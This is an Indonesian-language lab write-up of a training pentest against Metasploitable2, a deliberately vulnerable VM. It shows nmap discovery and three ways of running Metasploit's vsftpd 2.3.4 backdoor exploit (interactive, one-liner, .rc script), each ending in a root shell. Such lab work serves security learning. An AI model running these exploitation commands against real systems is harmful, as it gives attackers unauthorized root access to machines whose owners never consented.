

Metasploitable2

1. Informasi Umum

- **Nama Peserta** : Aria Fatah
 - **Tanggal Praktikum** : 29 Juni 2025
 - **Nama Praktikum** : Lab Infrastructure Network Pentest
 - **Target Sistem** : Metasploitable2
 - **IP/URL Target** : 192.168.1.11
-

2. Tujuan Praktikum

Tujuan dari praktikum ini adalah **mengidentifikasi, memahami, dan mengeksploitasi kerentanan umum pada sistem operasi dan layanan yang berjalan di Metasploitable2**, berdasarkan kerentanan nyata seperti **misconfiguration, weak credentials, vulnerable services (misalnya vsftpd, Tomcat, MySQL)**, serta eksploitasi menggunakan **Metasploit Framework**.

3. Tools dan Bahan

- **Tools Utama:**
 - Nmap
 - Metasploit Framework
 - **VM/Lab Environment:**
 - Metasploitable2 (Target Machine)
 - Kali Linux (Attacker Machine)
 - VirtualBox/VMware sebagai hypervisor
-

4. Metodologi Pengujian

Metodologi yang digunakan mengacu pada standar **NIST SP 800-115**, meliputi:

1. **Planning**
 2. **Discovery**
 3. **Attack**
 4. **Reporting**
-

5. Langkah-Langkah Praktikum

1. Planning

- Unduh file OVA dari SourceForge: [Download Metasploitable2 \(.ova\)](#)

1. Import ke VirtualBox

Opsi 1: Import langsung file OVA (disarankan)

1. Buka **VirtualBox**.
2. Klik **File > Import Appliance**.
3. Pilih file `Metasploitable2.ova` yang telah diunduh.
4. Klik **Next > Import**.
5. Setelah proses selesai, VM Metasploitable2 akan muncul di daftar.
 **Langsung bisa dijalankan**, tidak perlu atur manual disk.

Opsi 2: Manual Buat VM dan pasang disk (jika OVA error atau hanya punya file VMDK)

1. Buka **VirtualBox**, klik **New**.
2. Isi nama: `Metasploitable2`, type: **Linux**, version: **Other Linux (64-bit)**.
3. Atur RAM (disarankan: **512MB atau lebih**) dan CPU (1 core cukup).
4. Pada bagian *Hard disk*, pilih **Do not add a virtual hard disk** lalu lanjut.
5. Setelah VM dibuat:
 - Klik kanan VM → **Settings**.
 - Masuk ke tab **Storage** → klik ikon hard disk (Controller: IDE).
 - Klik **Add Hard Disk** (ikon plus) → pilih **Choose existing disk**.
 - Arahkan ke file `.vmdk` dari folder OVA (biasanya satu folder dengan OVA yang diekstrak otomatis).

2. Jalankan Metasploitable2

```
# Setelah VM siap, klik Start di VirtualBox untuk menyalakan Metasploitable2
# Username default: msfadmin
# Password default: msfadmin
```

Jika kamu juga menggunakan **Kali Linux** untuk menyerang:

- Pastikan **Kali Linux dan Metasploitable2 berada di jaringan yang sama**, misalnya dengan:
 - **Adapter 1:** Host-Only Adapter
 - atau gunakan Internal Network / Bridged (recomended)

2. Jalankan **Kali Linux** sebagai attacker:

```
# Jalankan Kali Linux di VirtualBox/VMware
# Pastikan kedua VM (Kali dan Metasploitable2) berada dalam satu jaringan:
# - Gunakan mode jaringan "Host-Only Adapter" atau "Internal Network"
```

3. Menentukan IP Metasploitable2

Dari dalam Metasploitable2: `ifconfig` , Atau dari Kali Linux: `netdiscover`

2. Discovery

- nmap

```
netdiscover # untuk mengetahui ip di sekitar
nmap -sCV -Pn 192.168.1.11 -T5 -oN nmap
```

12 Captured ARP Req/Rep packets, from 8 hosts. Total size: 720

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.1.3	4c:24:ce:35:5d:14	1	60	Sichuan AI-Link Technology Co., Ltd.
192.168.1.1	5c:3a:3d:14:25:e6	4	240	zte corporation
192.168.1.11	08:00:27:fc:b8:03	1	60	PCS Systemtechnik GmbH
192.168.1.2	22:c6:e9:55:71:7b	1	60	Unknown vendor
192.168.1.8	86:f1:05:e9:bc:3e	2	120	Unknown vendor
192.168.1.10	8c:aa:ce:39:02:7a	1	60	Xiaomi Communications Co Ltd
192.168.1.7	ca:4a:6c:88:a0:a3	1	60	Unknown vendor
192.168.1.6	02:c7:0a:85:4e:a6	1	60	Unknown vendor

Home

—(ariafatah@kali)-[~/ctf/metasploitable/tmp]

—\$ nmap -sCV -Pn 192.168.1.11 -T5 -oN nmap

Starting Nmap 7.94SVN (<https://nmap.org>) at 2025-06-29 05:06 EDT

Nmap scan report for 192.168.1.11 (192.168.1.11)

Host is up (0.0019s latency).

Not shown: 977 closed tcp ports (conn-refused)

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

21/tcp	open	ftp	vsftpd 2.3.4
--------	------	-----	--------------

ftp-syst:

STAT:

FTP server status:

Connected to 192.168.1.12

Logged in as ftp

TYPE: ASCII

No session bandwidth limit

Session timeout in seconds is 300

Control connection is plain text

Data connections will be plain text

vsFTPD 2.3.4 - secure, fast, stable

_End of status

_ftp-anon: Anonymous FTP login allowed (FTP code 230)

22/tcp	open	ssh	OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
--------	------	-----	--

ssh-hostkey:

1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)

2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)

23/tcp	open	telnet	Linux telnetd
--------	------	--------	---------------

25/tcp	open	smtp	Postfix smtpd
--------	------	------	---------------

_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS

sslv2:

SSLv2 supported

ciphers:

SSL2_RC4_128_WITH_MD5

SSL2_DES_64_CBC_WITH_MD5

SSL2_RC2_128_CBC_EXPORT40_WITH_MD5

SSL2_DES_192_EDE3_CBC_WITH_MD5

SSL2_RC2_128_CBC_WITH_MD5

SSL2_RC4_128_EXPORT40_WITH_MD5

_ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrPro

Not valid before: 2010-03-17T14:07:45

_Not valid after: 2010-04-16T14:07:45

_ssl-date: 2025-06-29T09:07:57+00:00; +2s from scanner time.

53/tcp	open	domain	ISC BIND 9.4.2
--------	------	--------	----------------

dns-nsid:

_ bind.version: 9.4.2

80/tcp	open	http	Apache httpd 2.2.8 ((Ubuntu) DAV/2)
--------	------	------	-------------------------------------

_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2

_http-title: Metasploitable2 - Linux

3. Attack

21/tcp - vsftpd 2.3.4

```
# Nmap 7.94SVN scan initiated Sun Jun 29 05:06:36 2025 as: nmap -sCV -Pn -T5 -oN nmap 192.168.1.11
Nmap scan report for 192.168.1.11 (192.168.1.11)
Host is up (0.0019s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 192.168.1.12
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   vsFTPD 2.3.4 - secure, fast, stable
|_End of status
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
```

Versi vsftpd 2.3.4 diketahui memiliki celah keamanan yang terdokumentasi dalam CVE. Kita dapat mengeksploitasinya menggunakan Metasploit Framework.

1. Menggunakan msfconsole secara interaktif

```
msfconsole
> search vsftpd 2.3.4
> use exploit/unix/ftp/vsftpd_234_backdoor
> show options
> set RHOSTS 192.168.1.11
> run
```

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.11
RHOSTS => 192.168.1.11
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.11:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.11:21 - USER: 331 Please specify the password.
[+] 192.168.1.11:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.11:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.12:40697 -> 192.168.1.11:6200) at 20

whoami
root
```

2. Menjalankan exploit secara cepat dengan inline command

```
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 192.168.1.11; run; exit"
```

```

(ariafatah@kali)-[~/ctf/metasploitable/tmp]
$ msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS 192.168.1.11; run; exit"
[*] No payload configured, defaulting to cmd/unix/interact
RHOSTS => 192.168.1.11
[*] 192.168.1.11:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.11:21 - USER: 331 Please specify the password.
[+] 192.168.1.11:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.11:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.12:42599 -> 192.168.1.11:6200) at 2025-06-29 05:21:11

whoami
root

```

3. Menggunakan script .rc untuk automasi

```

cat > vsftpd2.3.4.rc << EOF
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.11
run
exit
EOF

```

```
msfconsole -q -r vsftpd2.3.4.rc
```

```

(ariafatah@kali)-[~/ctf/metasploitable/tmp]
$ cat > vsftpd2.3.4.rc << EOF
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.11
run
exit
EOF

msfconsole -q -r vsftpd2.3.4.rc
[*] Processing vsftpd2.3.4.rc for ERB directives.
resource (vsftpd2.3.4.rc)> use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
resource (vsftpd2.3.4.rc)> set RHOSTS 192.168.1.11
RHOSTS => 192.168.1.11
resource (vsftpd2.3.4.rc)> run
[*] 192.168.1.11:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.11:21 - USER: 331 Please specify the password.
[+] 192.168.1.11:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.11:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.12:39179 -> 192.168.1.11)

whoami
root

```

Cara ini sangat efisien untuk mengotomatisasi eksploitasi atau mengulang pengujian secara cepat.